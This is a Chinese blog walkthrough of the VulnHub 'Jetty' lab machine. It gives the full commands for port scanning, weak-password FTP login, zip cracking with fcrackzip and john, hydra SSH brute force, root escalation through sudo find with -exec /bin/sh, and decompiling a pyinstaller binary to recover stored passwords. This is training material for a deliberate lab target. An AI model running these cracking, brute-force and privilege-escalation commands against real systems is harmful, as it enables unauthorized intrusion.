靶机下载地址:https://www.vulnhub.com/entry/jetty-1,621/
教程链接地址: https://blog.csdn.net/weixin_45922278/article/details/113705281

# 确认攻击目标

攻击机 KALI: 192.168.31.135
靶机 JETTY:桥接于 192.168.31.1 的网卡,ip 未知

1 )确定靶机 ip 地址
sudo arp-scan -l

Image

-> 靶机 ip:192.168.31.66

2 )确认靶机 ip 开放的端口信息
sudo nmap -A -p- 192.168.31.66

Image

-> 靶机开放端口 21,80

# FTP 弱口令及下载

先从 ftp 进行下手

Image

尝试弱口令登陆成功,看到 ftp 服务中存在两个文件,用 lcd 来在 ftp 服务中控制 kali 的目录,下载文件

Image

查看下载下来的两个文件

Image

其中 README.txt 中给了 Henry、Michael 的用户名,解压 sshpass.zip 的时候发现其是有密码认证的

# zip 加密破解

破解 zip fcrackzip -D -u -p /usr/share/wordlists/rockyou.txt sshpass.zip

Image

也可以使用 zip2john 将加密的 zip 转化为可以用 john 破解的

zip2join sshpass.zip > ssh.txt
john ssh.txt –wordlist=/usr/share/wordlists/rockyou.txt

Image

得到 zip 的密码为 seahorse!进行解压

Image

-> 解压后即得到了 ssh 的密码

到目前为止我们已经得到了 ssh 的一个疑似账户 Henry 和一个 ssh 密码
但是我们扫描端口时并没有发现 ssh 协议是开启的,还需要其他的信息收集

打开 http://192.168.31.66 进行信息收集

Image

识别目录,看能否找到更多的目录信息

Image

查看目录: http://192.168.31.66/robots.txt

发现了四个目录,依次访问之后没有发现

Image

到此为止,我们的信息收集工作就做完了,但是仍然还有个问题,为什么没有开启 ssh 协议,是不是之前识别的结果有问题?还有就是 ssh 用户名只有这一个吗,还有没有其他的可能的用户名。带着问题去看 vulnhub 上给出的提示,发现了一个用户名 Squiddie。

Image

# hydra 爆破 ssh

其次,用 nmap 再次更详细的扫描一下端口,看能否扫描到 ssh 协议

Image

经过这一次的扫描,扫描到了 65507 端口开放的是 ssh 协议可能因为这个端口在比较靠后的位置,并且不是常用的端口,所以第一次扫描的时候并没有扫到

003 hydra 指定端口爆破,find 提权

现在我门就通过 hydra 爆破 65507 端口处的 ssh 协议,并且指定用户名为 Henry、Michael、Squiddie 以及这三个及首字母变为小写的三个,密码为爆破 zip 之后解压出来的密码
hydra -L user.txt -P sshpass.txt ssh://192.168.31.66 -f -t 4 -I -s 65507 -vV -o hydra.ssh

得到密码并连接

Image

ssh squiddie@192.168.31.66 -p 65507

Image

-> 连接成功

# sudo (find) 提权

靶机里边装了一个 python2 的命令,输入 python2 打开其命令行

import pty
pty.spawn("/bin/bash")

Image

得到一个标准的 shell

sudo -l 时发现了可以无密码调用 root 的 find 命令,利用 find 提权
sudo find. -exec /bin/sh ; -quit

Image

-> 成功拿到了 root 权限

# 架构不支持处理

此靶机的目标是找到犯罪证据,还需进一步的深入测试,查看定时任务 crontab -l 发现有一个备份文件一直在执行,此命令就是做一个备份,跟踪找到这个.docs 的文件夹查看内容

Image

这里有几个 xlsx 的文件以及一个文件夹,也许这几个文件就是犯罪证据,我们将这些文件都发送到 kali 机器上,用 scp/ftp/python 等方式进行传输
scp -r * parallels@192.168.31.65:~/Desktop/tool/jetty/doc/

Image

Kali 机器接受到文件之后,直接双击打开这些 xlsx 的文件

Image

错误内容显示架构不支持,因为此 kali 机器是在 mac M1 上虚拟出来的虚拟机,是 arm 架构的 kali,所以有些东西是没有兼容的

Image

并且 Password_kepper 文件夹中有一个 exe 的 windows 上才能执行的可执行文件,是需要发到 windows 机器上才能运行的

Image

这个地方我再次通过 scp 将这些文件都传输到了一般用的 amd 的 windows 机器
ping 192.168.31.91
scp -r * administrator@192.168.31.91:/E:/Desktop/doc/

Image

传输成功,结果如下图

Image

xlsx 文件需要密码才能解开

Image

运行 exe 文件,发现有个选项可以查看密码

Image

大致浏览了一下所有的信息之后,发现这个 exe 文件是用 pyinstaller 编译出来的,既然如此,接下来我们的目标就是去反编译这个 exe 文件

Image

# uncompyle6 反编译 pyc

下载在 github 上用于反编译 pyinstaller 生成的文件的工具 pyinstxtractor
wget https://github.com/extremecoders-re/pyinstxtractor.git
Python2 pyinstxtractor.py password_keeper.exe

Image

查看执行效果

Image

执行之后会在 pyinstxtractor.py 同目录下生成一个文件夹,产生一个 password_keeper.exe_extracted 目录,在目录下找到关键 pyc 文件也就是 password_keeper.pyc,再将这个文件反编译。

使用 uncompyle6 反编译 pyc 文件
安装 uncompyle pip install uncompyle

Image

反编译 pyc 文件 uncompyle6 .\password_keeper.pyc > password_keeper.py

Image

# 调查取证

对得到的代码进行代码审计

Image

总结功能大概如下,我们输入选项之后,需要我们输入一个密钥,将此密钥进行 base64 加密后与代码中的 key 进行比对,如果是相同的就会输出密码

先进行 base64 解密 echo “N2FlMjE4ZmYyOTI4ZjZiMg==” | base64 -d

Image

运行 exe 文件,输入 1,然后输入解密后的密钥 7ae218ff2928f6b2

Image

得到了五个密码,分别是这五个 xlsx 的密码
Image

-> 成功拿到犯罪证据

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

.N1h1l157 微信支付

微信支付

.N1h1l157 支付宝

支付宝

.N1h1l157 贝宝

贝宝